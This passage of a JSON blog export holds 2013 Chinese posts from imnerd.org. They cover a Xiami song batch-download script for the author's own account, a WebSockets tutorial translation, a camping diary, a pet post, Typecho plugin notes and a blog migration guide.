604,2080987,2073790,385907,115384,374057,377936,380029,382560,382852,383962,33806,378041,380287,385729,385760,388406,389153,381833,83126,386773,389072,389080,389077,43542,52726,375183,382821,384595,385074,386954,373818,376387,378307,379302,382777,384646,384670,385137,385976,386073,386347,2342433,3550893,1769699970,2095102,2095107,2017034,2286524,2342421,2286523,3338183,1768988423,2286527,2380720,3464931,1176114,1769334977,2155384,1769839800,3225258,2091936,1769334987,3187867,2095104,3413844,1769072635,1007695,3636957,3467770,1768940269,1769292436,1769850021,1769102619,3409064,1769870173,1769850022,1769850019,1769463117,3446206,2028877,2136483,1769072646,1769291745,1769072643,1769113798,196142,3187959,2079575,2286522,2079581,2385273,1769673320,3513664,1769071426,3502285,1769801604,1769801605,3484274,1769303054,1769303056,1769303057,1769303058,1769303059,1769303060,1769303061,1769303062,1769303055,1768914983,378646,3586293,1769830111,1769830112,1769830113,1769830114,1769830115,1769830116,1769830117,1769830118,1769830119,1769830120,1769570445,); //复制结束 //下面的代码不需要修改 var XHR; //定义一个全局对象 function xm_download(id){ if(window.ActiveXObject){//IE的低版本系类 XHR=new ActiveXObject(\u0026#39;Microsoft.XMLHTTP\u0026#39;); }else if(window.XMLHttpRequest){//非IE系列的浏览器，但包括IE7 IE8 XHR=new XMLHttpRequest(); } XHR.open(\u0026#34;GET\u0026#34;,\u0026#34;download.php?id=\u0026#34;+id,true); XHR.send(null); } for (var i=0;i\u0026lt;song.length;i++) { xm_download(song[i]); } \u0026lt;/script\u0026gt; 将下面的代码保存为download.php，放在与download.html同级目录中\n\u0026lt;?php $cookie_file = dirname(__FILE__).\u0026#39;/cookie.txt\u0026#39;; //登录COOKIES文件地址 $id = $_GET[\u0026#39;id\u0026#39;]; $url = \u0026#34;http://www.xiami.com/download/pay?id=$id\u0026#34;; $curl = curl_init($url); curl_setopt($curl, CURLOPT_COOKIEFILE, $cookie_file); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $data = curl_exec($curl); curl_close($curl); $preg = \u0026#39;/\\\u0026lt;input type\\=\\\u0026#34;hidden\\\u0026#34; name\\=\\\u0026#34;sign\\\u0026#34; id\\=\\\u0026#34;sign\\\u0026#34; value\\=\\\u0026#34;(.*?)\u0026#34; \\/\\\u0026gt;/s\u0026#39;; preg_match_all($preg, $data, $match); $sign = $match[1][0]; $pieces = explode(\u0026#39;\u0026lt;input type=\u0026#34;hidden\u0026#34; value=\u0026#34;\u0026#39;, $data); $piece = end($pieces); $cookies = explode(\u0026#39;\u0026#34;\u0026#39;, $piece); $cookie = $cookies[0]; $data = \u0026#34;song_ids[]=$id\u0026amp;amp;use_vip=1\u0026amp;amp;down=1\u0026amp;amp;inpour_amount=0\u0026amp;amp;sign=$sign\u0026amp;amp;_xiamitoken=$cookie\u0026#34;; $curl = curl_init($url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_COOKIEFILE, $cookie_file); curl_setopt($curl, CURLOPT_REFERER, $url); curl_setopt($curl, CURLOPT_POSTFIELDS, $data); $data = curl_exec($curl); curl_close($curl); ?\u0026gt; 四、打开虾歌查询订单 最后一步是打开虾歌，选择“文件”→“检查未完成下载”，静候片刻你就可以欢呼了！之后静静等待虾歌批量下载成功就好了。\n","count":1856,"date":"2013年09月04日","featuredImage":null,"permalink":"https://imnerd.org/multi-download-xiami-songs-new.html","summary":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e呵呵，没错，公子我又\u003ca href=\"http://blog.imnerd.org/post/disk-down.html\"\u003e再次光荣的把硬盘搞挂了\u003c/a\u003e，然后音乐又没了！鉴于之前已经有过一次经验（\u003ca href=\"https://imnerd.org/multi-download-xiami-songs.html\"\u003e批量下载虾米已下载歌曲\u003c/a\u003e），所以本以为这次也会轻而易举了的。没想到居然在我写出那篇日志后没多久，官方居然各种更新（更新页面，下载机制，Flash播放器），然后我那篇日志的方法就没法用了。不过官方这个也都是小改，所以我也只要小改下代码就成啦！哈哈！\u003c/p\u003e\n\u003ch2 id=\"有什么变化\"\u003e有什么变化\u003c/h2\u003e\n\u003cp\u003e首先要说的是虾米官方的下载思路还是没变的，基本上还是之前日志里头说的那样：\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e在网站点击下载之后，网站向你的账户中未下载列表传递下载歌曲信息，之后未下载列表则返回一个以emoun://特有协议开头的文件，用以打开虾歌（这个和迅雷thunder://以及电骡等的ed2k://是一个道理）。虾歌打开后查询未下载的表单，返回表单中的歌曲，然后下载。同时将未下载列表中的歌曲提交到已下载列表中，并在未下载列表中删除。 - \u003ca href=\"https://imnerd.org/multi-download-xiami-songs.html\"\u003e批量下载虾米已下载歌曲\u003c/a\u003e\u003c/p\u003e","time":4,"title":"批量下载虾米已下载歌曲（新）"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":"8月23号，我跟随一群可爱的驴友们向这座无人小岛进发，历时两天的海岛之行，让我的人生有了一次不一样的经历。本来这篇日志是早就要写的，我一直在等着我们队的云叔发图才等到现在。云叔拍了很多好照片，结果我往他空间看了一下并没把好的那几张传上来，颇为失望。让我白等了这么久，索性就自己的照片凑合一下吧！\n前不久刚从V2EX上淘了一台NEX-5R,没过两天就看到我们寝室的甘哥发消息参加了“海岛露营”。想着暑假也没好好出去玩过，脑袋一冲动就让甘哥帮我一块报名了。现在回想起来，真心感谢自己当初做了这么一个决定。当然更好感谢甘哥不辞辛劳的帮我借装备，没有甘哥的积极，想我这个懒性子也不会有什么太大的动作吧。\n海中小岛，我们这次的目的地\n海中孤舟\n大船没法在岛边靠岸，乘着没有护栏的小渔船颤颤巍巍的就向着目标进发了。\n第一次来到海边，迎面而来一股腥咸的海风，遥望那冉冉升起的红日，呼吸着略微有点凉的空气，心旷神怡的感觉油然而生。小海山岛地处渤海，虽然有人吐槽渤海的水质不好，但海岛这确是意外的干净，清澈见底形容的再好不过。 海岛沿海的几处小沙滩，成了我们本次扎营的理想点。第一次野外露营，第一次支帐篷，第一次住在小岛上\u0026hellip;这么多的第一次，一种新鲜刺激感涌上心头，让我兴奋无比。在岛上说实在的，也没什么好玩的，就大家坐在一起打打牌聊聊天，但是那种开心的感觉，确实和平常是不一样的。\n队中认识了很多非常有趣的人，最高兴的是认识了征征和香橙味这两位非常可爱的妹子，并非常不好意思的拿他们首祭（其实也算不上，首祭是我家狗狗的←_←）了我的相机。两位真真是应了最近比较流行的那句话，“奔放洋气有深度”，各种帅气的POSE缤纷呈现。在我各种连拍下，还是排出了一些自我感觉非常不错的片子的！\n时至正午，虽然日头很大，但是我们小分队还是组织起来进行了本次海岛之行最有意义也是最好玩的一个活动——环岛游。小海山岛全程环岛下来也就是三个小时左右的事情，一路上欣赏了各种大自然的鬼斧神工，靓丽无比。和月月他们玩三国杀，和香橙味他们玩推理故事，玩干瞪眼，让我不亦乐乎。晚上的烧烤又让我大饱口福，吃到后头大家各个都撑起肚皮了，哈哈！\n","count":894,"date":"2013年09月02日","featuredImage":null,"permalink":"https://imnerd.org/xiao-hai-shan-dao.html","summary":"\u003cp\u003e8月23号，我跟随一群可爱的驴友们向这座无人小岛进发，历时两天的海岛之行，让我的人生有了一次不一样的经历。本来这篇日志是早就要写的，我一直在等着我们队的云叔发图才等到现在。云叔拍了很多好照片，结果我往他空间看了一下并没把好的那几张传上来，颇为失望。让我白等了这么久，索性就自己的照片凑合一下吧！\u003c/p\u003e","time":2,"title":"小海山岛之行"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":"翻译于：http://net.tutsplus.com/tutorials/javascript-ajax/start-using-html5-websockets-today/\nWebSockets是什么？ WebSockets是超越了TCP通信协议，为双向通信而生的推送（Push）技术。目前，它正在向W3C标准进行靠近，不过，最新版本的Chrome和Safari浏览器已经支持WebSockets了。\nWebSocket代替了什么？ WebSockets能够代理长轮询。长轮询是一个非常有趣的概念：客户端向服务器发送请求 - 这时候，相对于之前服务器返回数据，它并没有这么做，它保持这个链接直到重新刷新，或者最新的数据准备发送 - 客户端接收到这个数据之后，从新发送一个请求。（译者注：也就是说客户端发送请求，服务端保持链接，直到超过时间或者数据返回过去，就断开链接，客户端则重新发送一个新的请求。）\n这样做有它的好处：能够有效的减少延迟，一个打开的连接显然不需要花费重新打开一个新连接的时间。然而，长轮询并不是一项花哨的技术：它也有可能为一个请求而暂停，然后我们就需要一个新的连接了。\n目前许多Ajax程序都是利用这个方法的 - 这可能要归结于可怜的资源利用率。（译者注：由于要保持连接，所以服务器需要耗费大量资源。）\n难道就没有更好的方法直接唤醒服务器并发送数据到想要接收的客户端上而不需要诸如预留连接之类的工作吗？答案是有的，这就是推送（Push)技术。\n步骤一：获取WebSocket服务器 这个教程相对于服务器方面来说将更注重于客户端的建立。\n我在Windows 7上使用了XAMPP搭建了PHP服务器环境。下载phpwebsockets（一个PHP写的WebSocket服务）。（注：这个版本我遇到了一些问题，我对它进行了一些修改并将其与源文件放在一块。）有各种各样的WebSocket实现方法，如果一种不能工作，你可以尝试另外一种建立，并继续我们的教程。\njWebSocket (Java) web-socket-ruby (ruby) Socket IO-node (node.js) 开启Apache服务 步骤二：更改URL和接口 在安装过程中需要更改服务端的配置，例如在setup.class.php中：\npublic function __construct($host='localhost',$port=8000,$max=100) { $this-\u0026gt;createSocket($host,$port); } 浏览文件并在适当的地方进行修改。\n步骤三：开启建立客户端 让我们写一个基本的模板页面，这是我的client.php文件：\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;script src=\u0026quot;http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js\u0026quot;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;title\u0026gt;WebSockets Client\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div id=\u0026quot;wrapper\u0026quot;\u0026gt; \u0026lt;div id=\u0026quot;container\u0026quot;\u0026gt; \u0026lt;h1\u0026gt;WebSockets Client\u0026lt;/h1\u0026gt; \u0026lt;div id=\u0026quot;chatLog\u0026quot;\u0026gt; \u0026lt;/div\u0026gt;\u0026lt;!-- #chatLog --\u0026gt; \u0026lt;p id=\u0026quot;examples\u0026quot;\u0026gt;e.g. try 'hi', 'name', 'age', 'today'\u0026lt;/p\u0026gt; \u0026lt;input id=\u0026quot;text\u0026quot; type=\u0026quot;text\u0026quot; /\u0026gt; \u0026lt;button id=\u0026quot;disconnect\u0026quot;\u0026gt;Disconnect\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt;\u0026lt;!-- #container --\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt;​ 步骤四：增加CSS 没什么特别的，就是键入一些标签。（原文：Nothing fancy, just space some elements out.）\nbody { font-family:Arial, Helvetica, sans-serif; } #container{ border:5px solid grey; width:800px; margin:0 auto; padding:10px; } #chatLog{ padding:5px; border:1px solid black; } #chatLog p { margin:0; } .event { color:#999; } .warning{ font-weight:bold; color:#CCC; } 步骤五：了解WebSocket事件 首先让我们尝试了解一下WebSocket事件。\n事件 我们需要用到3个事件：\n**onopen:**打开一个socket连接 **onmessage:**接收到一条消息 **oncolse:**关闭一个socket连接 利用这些我们可以干些什么呢？\n首先我们要创建一个WebSocket对象\nvar socket = new WebSocket(\u0026quot;ws://localhost:8000/socket/server/startDaemon.php\u0026quot;); 非常简单我们就能确定事件是否发生了：\nsocket.onopen = function(){ alert(\u0026quot;Socket has been opened!\u0026quot;); } 我们接收到短信呢？\nsocket.onmessage = function(msg){ alert(msg); //Awesome! } 不过，我们应该避免使用警告框，实际上应该向客户端页面融入我们所学到的东西。\n步骤六：Javascript 下面让我们开始吧。首先我们需要把代码放在$(document).ready(function() {})函数里，然后我们检查用户的浏览器是否支持WebSockets。如果她们不支持，我们会向页面中append一个指向Chrome浏览器的HTML链接。\n$(document).ready(function() { if(!(\u0026quot;WebSocket\u0026quot; in window)){ $('#chatLog, input, button, #examples').fadeOut(\u0026quot;fast\u0026quot;); $('\u0026lt;p\u0026gt;Oh no, you need a browser that supports WebSockets. How about \u0026lt;a href=\u0026quot;http://www.google.com/chrome\u0026quot;\u0026gt;Google Chrome\u0026lt;/a\u0026gt;?\u0026lt;/p\u0026gt;').appendTo('#container'); }else{ //The user has WebSockets connect(); function connect(){ //the connect function code is below } }); 并且你可以看到，如果用户的浏览器是支持WebSockets的话会继续执行一个我们事先定义好的connect()函数。这是代码的核心部分：我们将之前学到的开启，关闭和接收事件融入其中。\n我们先定义我们服务器的URL。\nvar socket; var host = \u0026quot;ws://localhost:8000/socket/server/startDaemon.php\u0026quot;; 等等，URL的话我们怎么没看到http？好吧，它是一个基于WebSocket，一个与HTTP协议不同的URL地址。这是对于我们的地址的详细解释：\n理解了这个之后，让我们继续我们的connect()函数。我们将放置我们的代码在一个try/catch块内，这样如果我们的代码除了什么问题，我们可以及时的让用户知道。我们创建一个新的WebSocket连接，并通过一个message函数传递消息，这个我待会儿会详细说明。我们创建我们的onopen,onmessage以及onclose函数。注意我们也需要向用户显示当前Socket的状态，这个虽然不是必要的，但是我将它包含在内了，因为它将有助于我们调试。\nCONNECTING = 0\nOPEN = 1\nCLOSED = 2\nfunction connect(){ try{ var socket; var host = \u0026quot;ws://localhost:8000/socket/server/startDaemon.php\u0026quot;; var socket = new WebSocket(host); message('\u0026lt;p class=\u0026quot;event\u0026quot;\u0026gt;Socket Status: '+socket.readyState); socket.onopen = function(){ message('\u0026lt;p class=\u0026quot;event\u0026quot;\u0026gt;Socket Status: '+socket.readyState+' (open)'); } socket.onmessage = function(msg){ message('\u0026lt;p class=\u0026quot;message\u0026quot;\u0026gt;Received: '+msg.data); } socket.onclose = function(){ message('\u0026lt;p class=\u0026quot;event\u0026quot;\u0026gt;Socket Status: '+socket.readyState+' (Closed)'); } } catch(exception){ message('\u0026lt;p\u0026gt;Error'+exception); } } 上面写的message函数显得相当的简单，就是将一些我们想要显示的文字追加到chatLog内向用户显示。我们在Socket事件函数中为每段标签插入适当的Class，这就是为什么在message函数中只有一个关闭段落标签。\nfunction message(msg){ $('#chatLog').append(msg+'\u0026lt;/p\u0026gt;'); } 更多\u0026hellip; 如果你一直按照操作做下来，那就已经成功了！我们已经设法创建一个基本的HTML/CSS模板,创建和建立WebSocket连接并保持用户的进程和连接。\n步骤七：发送数据 相较于用一个按钮去点击发送，我比较倾向于在用户回车的时候我们监听检测，并运行send函数。13是回车键的ASCII码值。\n$('#text').keypress(function(event) { if (event.keyCode == '13') { send(); } }); 另外这是send()函数代码：\nfunction send(){ var text = $('#text').val(); if(text==\u0026quot;\u0026quot;){ message('\u0026lt;p class=\u0026quot;warning\u0026quot;\u0026gt;Please enter a message'); return ; } try{ socket.send(text); message('\u0026lt;p class=\u0026quot;event\u0026quot;\u0026gt;Sent: '+text) } catch(exception){ message('\u0026lt;p class=\u0026quot;warning\u0026quot;\u0026gt; Error:' + exception); } $('#text').val(\u0026quot;\u0026quot;); } 虽然上面的代码看起来丑爆了，但是实际上，我们在使用的时候，只需要：\nsocket.send(); //Thanks JavaScript 步骤八：关闭Socket 关闭socket是非常简单的一件事：为我们的断开按钮附加一个点击事件就可以了！\n$('#disconnect').click(function(){ socket.close(); }); 完整的JavaScript代码 $(document).ready(function() { if(!(\u0026quot;WebSocket\u0026quot; in window)){ $('#chatLog, input, button, #examples').fadeOut(\u0026quot;fast\u0026quot;); $('\u0026lt;p\u0026gt;Oh no, you need a browser that supports WebSockets. How about \u0026lt;a href=\u0026quot;http://www.google.com/chrome\u0026quot;\u0026gt;Google Chrome\u0026lt;/a\u0026gt;?\u0026lt;/p\u0026gt;').appendTo('#container'); }else{ //The user has WebSockets connect(); function connect(){ var socket; var host = \u0026quot;ws://localhost:8000/socket/server/startDaemon.php\u0026quot;; try{ var socket = new WebSocket(host); message('\u0026lt;p class=\u0026quot;event\u0026quot;\u0026gt;Socket Status: '+socket.readyState); socket.onopen = function(){ message('\u0026lt;p class=\u0026quot;event\u0026quot;\u0026gt;Socket Status: '+socket.readyState+' (open)'); } socket.onmessage = function(msg){ message('\u0026lt;p class=\u0026quot;message\u0026quot;\u0026gt;Received: '+msg.data); } socket.onclose = function(){ message('\u0026lt;p class=\u0026quot;event\u0026quot;\u0026gt;Socket Status: '+socket.readyState+' (Closed)'); } } catch(exception){ message('\u0026lt;p\u0026gt;Error'+exception); } function send(){ var text = $('#text').val(); if(text==\u0026quot;\u0026quot;){ message('\u0026lt;p class=\u0026quot;warning\u0026quot;\u0026gt;Please enter a message'); return ; } try{ socket.send(text); message('\u0026lt;p class=\u0026quot;event\u0026quot;\u0026gt;Sent: '+text) } catch(exception){ message('\u0026lt;p class=\u0026quot;warning\u0026quot;\u0026gt;'); } $('#text').val(\u0026quot;\u0026quot;); } function message(msg){ $('#chatLog').append(msg+'\u0026lt;/p\u0026gt;'); } $('#text').keypress(function(event) { if (event.keyCode == '13') { send(); } }); $('#disconnect').click(function(){ socket.close(); }); }//End connect }//End else }); 步骤九：运行WebSocket服务 这里我们需要用命令行访问。幸运的是，XAMPP有一个很方便的shell选项。在XAMPP控制面板上点击\u0026quot;Shell\u0026quot; 并输入：\nphp -q path\\to\\server.php 现在你已经成功启动了WebSocket服务了！\n结束语 当页面载入后，一个WebSocket链接将会尝试建立（尝试修改代码让用户可以自己选择连接/断开）。然后，用户能够输入消息并从服务器返回消息。\n就这样了！ 感谢阅读！我希望你能好好享受这篇教程！记住，尽管WebSockets非常的令人细分，但是它也有可能被抛弃。你可以关注W3C WebSocket API获取最新的消息。\n","count":2780,"date":"2013年08月22日","featuredImage":null,"permalink":"https://imnerd.org/html5-websockets.html","summary":"\u003cp\u003e翻译于：\u003ca href=\"http://net.tutsplus.com/tutorials/javascript-ajax/start-using-html5-websockets-today/\"\u003ehttp://net.tutsplus.com/tutorials/javascript-ajax/start-using-html5-websockets-today/\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"websockets是什么\"\u003eWebSockets是什么？\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eWebSockets是超越了TCP通信协议，为双向通信而生的推送（Push）技术。目前，它正在向W3C标准进行靠近，不过，最新版本的Chrome和Safari浏览器已经支持WebSockets了。\u003c/p\u003e","time":6,"title":"HTML5 WebSockets"},{"comments":{"data":[22],"errmsg":"","errno":0},"contents":" 有一种懒惰，叫做在学校就不想回家，在家就不想回学校。本来我已经是打算好不回家的，但是老师的一句话触动了我，买了票就匆匆回家了。好在高铁非常的快，从北京到杭州只要不到6个小时，虽然贵了一点，但是比起之前两天的回家行程，直接缩短到了一天还是比较划算的。这里谢谢@sunhy\u0026ldquo;学长\u0026rdquo;，来回的车票都是让他帮忙买的，嘿嘿。\n回到家就发现多了这么只小狗，在短短的几日相处之下，发现其甚是可爱。狗狗的眼神是最让人受不了的，萌的不行的，它的也是如此：\n而且它睡觉的样子特别好玩：\n不过最最可爱的还是，只要你一碰到它，它就会做装死状，天生的二货啊有木有：\n每次我打羽毛球的时候，它都会跑的很欢乐的过来，然后叼走我的羽毛球-。-！我说它这是要闹哪样啊擦！\n","count":325,"date":"2013年08月17日","featuredImage":null,"permalink":"https://imnerd.org/cute-dog.html","summary":"\u003ciframe src=\"http://imnerd.org/lab/search/show.html#1770110094\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e\n\u003cp\u003e有一种懒惰，叫做在学校就不想回家，在家就不想回学校。本来我已经是打算好不回家的，但是老师的一句话触动了我，买了票就匆匆回家了。好在高铁非常的快，从北京到杭州只要不到6个小时，虽然贵了一点，但是比起之前两天的回家行程，直接缩短到了一天还是比较划算的。这里谢谢\u003ca href=\"http://www.520smartphone.com/\"\u003e@sunhy\u003c/a\u003e\u0026ldquo;学长\u0026rdquo;，来回的车票都是让他帮忙买的，嘿嘿。\u003c/p\u003e","time":1,"title":"吾家有狗初长成"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"\r由于我本人比较喜欢将日志中的图片上传到我的一个FTP服务器中，但是一边写一遍开着FlashFXP上传实在是蛋疼了，所以萌生了写这个插件的想法。总的来说这个插件能让你远程传送文件（不限于图片，其它文件也可以）到FTP服务器中，并及时返回文件的URL地址插入到日志当中。\n启用插件的时候，Typecho会提示\"Server Error\"错误的信息，虽然不知道为什么（有知道的同学请一定要告诉我！），但是并不影响正常的使用。\n启用插件后记得在设置中填写自己的FTP服务器信息，以及希望将文件上传到哪个文件夹中。请一定要记得这个设置的文件夹要是存在的，否则会产生错误。\n插件的基体是我拿着之前写过的XiaMiPlayer插件修改的，所以样式也是从那里继承过来的。\n由于本插件写的非常潦草，纯粹为了实现功能而实现功能，所以肯定有许多不足的地方，希望大家多多反馈！\n以上。\n下载地址：BOX | 百度云\n","count":386,"date":"2013年08月16日","featuredImage":null,"permalink":"https://imnerd.org/@ftpupload-plugin-for-typecho.html","summary":"\u003c!-- \r\n\u003ciframe src=\"https://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1770126472\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\r\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"750\" height=\"110\" loading=\"lazy\" sandbox=\"allow-popups allow-scripts allow-same-origin\" src=\"https://www.xiami.com/webapp/embed-player?autoPlay=1\u0026id=1770126472\"\u003e\u003c/iframe\u003e\r\n\u003cp\u003e由于我本人比较喜欢将日志中的图片上传到我的一个FTP服务器中，但是一边写一遍开着FlashFXP上传实在是蛋疼了，所以萌生了写这个插件的想法。总的来说这个插件能让你远程传送文件（不限于图片，其它文件也可以）到FTP服务器中，并及时返回文件的URL地址插入到日志当中。\u003c/p\u003e","time":1,"title":"FtpUpload插件"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":" 之前在帮Jclyn转换日志的时候，发现由于她使用WordPress的插件增加音乐播放器，所以文章中有很多类似\n[dewplayer:http://abc.com/file.mp3]\n这种形式的链接。同时为了她以后添加音乐方便，我决定在兼容这个代码的情况下给她写一个自动将此代码转换为音乐播放器的代码。\n将代码中的$('.text')修改成你主题的相应的标签，并将这段代码放到主题的\u0026lt;/body\u0026gt;前：\n$.each($('.text'), function(i,text) { var t = text.innerHTML, dewplayer = t.match(/\\[dewplayer:.*\\]/ig); $.each(dewplayer, function(i,item) { t = t.replace(item, '\u0026lt;object type=\u0026quot;application/x-shockwave-flash\u0026quot; data=\u0026quot;http://phenoland.com/theme/dewplayer-mini.swf\u0026quot; width=\u0026quot;160\u0026quot; height=\u0026quot;20\u0026quot; id=\u0026quot;dewplayer\u0026quot; name=\u0026quot;dewplayer\u0026quot;\u0026gt; \u0026lt;param name=\u0026quot;wmode\u0026quot; value=\u0026quot;transparent\u0026quot; /\u0026gt;\u0026lt;param name=\u0026quot;movie\u0026quot; value=\u0026quot;http://phenoland.com/theme/dewplayer-mini.swf\u0026quot; /\u0026gt; \u0026lt;param name=\u0026quot;flashvars\u0026quot; value=\u0026quot;mp3='+item.split('dewplayer:')[1].split(']')[0]+'\u0026amp;amp;autoreplay=1\u0026amp;amp;showtime=1\u0026amp;amp;volume=70\u0026quot; /\u0026gt;\u0026lt;/object\u0026gt;'); }); text.innerHTML = t; }); 通过这段代码，以后你就只需要在日志中输入[dewplayer:url]类似代码就可以了。\n当然，如果你觉得喜欢，你完全可以把格式改成你喜欢的样式，比如[mp3:url]又或者直接是[url.mp3]。\n上述代码同样适合Jkyell, Octopress, hexo等其它程序。\n最后的最后，如果你觉得找链接添加音乐麻烦的话，可以推荐去这里看一下！\n\u0026ndash;以上\u0026ndash;\n","count":382,"date":"2013年08月08日","featuredImage":null,"permalink":"https://imnerd.org/a-simple-way-to-add-music.html","summary":"\u003ciframe src=\"http://imnerd.org/lab/search/show.html#29564\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e\n\u003cp\u003e之前在帮\u003ca href=\"http://phenoland.com\"\u003eJclyn\u003c/a\u003e转换日志的时候，发现由于她使用WordPress的插件增加音乐播放器，所以文章中有很多类似\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[dewplayer:http://abc.com/file.mp3]\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e这种形式的链接。同时为了她以后添加音乐方便，我决定在兼容这个代码的情况下给她写一个自动将此代码转换为音乐播放器的代码。\u003c/p\u003e\n\u003cp\u003e将代码中的\u003ccode\u003e$('.text')\u003c/code\u003e修改成你主题的相应的标签，并将这段代码放到主题的\u003ccode\u003e\u0026lt;/body\u0026gt;\u003c/code\u003e前：\u003c/p\u003e","time":1,"title":"如何简单的增加音乐播放器"},{"comments":{"data":[29],"errmsg":"","errno":0},"contents":"\r2.1版对应的是typecho 0.8版，如果想要下载对应最新版（typecho 0.9）的同学，请跳转到此页：XiaMiPlayer插件 for typecho 0.9\r2.1版新增自定义播放器颜色（换颜色，全球浪潮~），默认提供了六种颜色，同时用户也可以自定义颜色哟！\n2.0版本新增同步显示歌词和外链MP3地址的支持，提供移动端支持（需要支持html5）！欢迎大家更新使用！\n本插件是基于MiniPlay1g1g插件的基础上修改过来的，所以插件的基本样式和MiniPlay1g1g是一样的，如果大家介意的话我会在下个版本中修改过来。在此感谢MiniPlay1g1g插件的作者vfasky君给我们带来了这么好的一个插件。\nXiaMiPlayer插件的主要功能：\r根据关键词获取虾米音乐搜索结果\r生成音乐播放器代码，并自动插入到文中\r歌曲同步显示歌词（如果歌曲有歌词的话，2.0版本以上支持）\r支持插入外链MP3地址（2.0版本以上支持）\r自定义播放器样式（2.1版以上支持）\r本插件是在typecho 0.8的基础上开发的，没有做对老版本兼容的测试，没有做对其它编辑器兼容的测试，同时没有做浏览器兼容测试，以及各种其它有的没有的测试。如果有不能用的，欢迎大家来报BUG，我会尽我所能DeBug的。\n更新： 2.1 - 新增自定义播放器样式功能 2.0 - 更换播放器代码，支持所有支持HTML5平台的客户端。增加同步显示歌词功能，以及支持外链MP3地址。 1.3 - 修改翻页样式，修复了开启插件之后无法使用附件的插入功能。 1.2 - 增加了Ckeditor, xheditor编辑器的支持，修复了之前支持的编辑器无法插入的问题。 1.1 - 增加了TinyMce, KindEditor, FCKeditor三个编辑器的支持。\n下载地址：BOX | 百度云\n","count":714,"date":"2013年08月08日","featuredImage":null,"permalink":"https://imnerd.org/xiamiplayer-plugin-for-typecho.html","summary":"\u003c!-- \u003ciframe src=\"https://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1769183270\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\r\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"750\" height=\"110\" loading=\"lazy\" sandbox=\"allow-popups allow-scripts allow-same-origin\" src=\"https://www.xiami.com/webapp/embed-player?autoPlay=1\u0026id=1769496428\"\u003e\u003c/iframe\u003e\r\n\u003cp\u003e \r\n\u003ch3\u003e\r\n2.1版对应的是typecho 0.8版，如果想要下载对应最新版（typecho 0.9）的同学，请跳转到此页：\u003ca href=\"https://imnerd.org/XiaMiPlayer-Plugin-for-typecho-0.9.html\"\u003eXiaMiPlayer插件 for typecho 0.9\u003c/a\u003e\r\n\u003c/h3\u003e\r\n\u003c/p\u003e\r\n\u003cp\u003e2.1版新增自定义播放器颜色（换颜色，全球浪潮~），默认提供了六种颜色，同时用户也可以自定义颜色哟！\u003ca href=\"https://imnerd.org/assets/migration/album.imnerd.org/content/web_needs/2013-09-21-22-12xiamiplayerfortypecho.png\" target=\"_blank\" title=\"\"\u003e\u003cimg src=\"https://imnerd.org/assets/migration/album.imnerd.org/content/web_needs/2013-09-21-22-12xiamiplayerfortypecho.png\" alt=\"\" /\u003e\u003c/a\u003e\u003c/p\u003e","time":2,"title":"XiaMiPlayer插件 for typecho 0.8（更新至2.1版）"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"鉴于typecho的垃圾评论实在是太多了，在屡禁不止的情况下，我蛋疼的选择了更换程序。更换的是我之前写的PMBlog,具体可以看看http://gitcafe.com/lizheming/PMBlog。程序本身是非常好转换的，下面我将讲述一下如何转换日志和评论。\n由于我之前帮Jclyn从WordPress转换为PMBlog，而typecho转WordPress也是有现成的工具的。所以我采用了typecho -\u0026gt; WordPress -\u0026gt; PMBlog的曲折路线。\n将Typecho转换为WordPress 这里主要是利用了盘古大大写的转换程序，由于源网址已经无法访问，所以我上传了一个备份到我的网盘，点击这里或者去文末下载。然后比较麻烦的是需要你先安装一个WordPress。上传到你的typecho根目录后访问，按照如下填写，其中WordPress的数据库信息填写你刚才安装的信息就好了。\nWordPress导出WXR 经过上一步之后你的文章和评论神马的已经全部成功转换到WordPress了。下面我们需要利用WordPress的导出工具将所有的内容导出成WXR的标准XML。\n在WordPress后台中选择工具 -\u0026gt; 导出 -\u0026gt; 所有内容 -\u0026gt; 下载导出的文件后就会得到一个XML文件了。\n将WXR的文章导入到PMBlog中 打开这个网址：http://imnerd.org/lab/wp2pm\n将之前得到的XML文件上传上去后你会得到一个压缩包，这就是你的所有的文章的md文件了。将所有文章解压存放到PMBlog的md目录，即可完成文章的导入。\nP.S.: 这里需要感谢@athurg大大写了一个非常棒的WXR解析类，让我省却了不少麻烦事。我Fork了项目并稍加修改了一下。项目地址在这：https://gist.github.com/lizheming/6145385\n将WXR的评论导入到DISQUS中 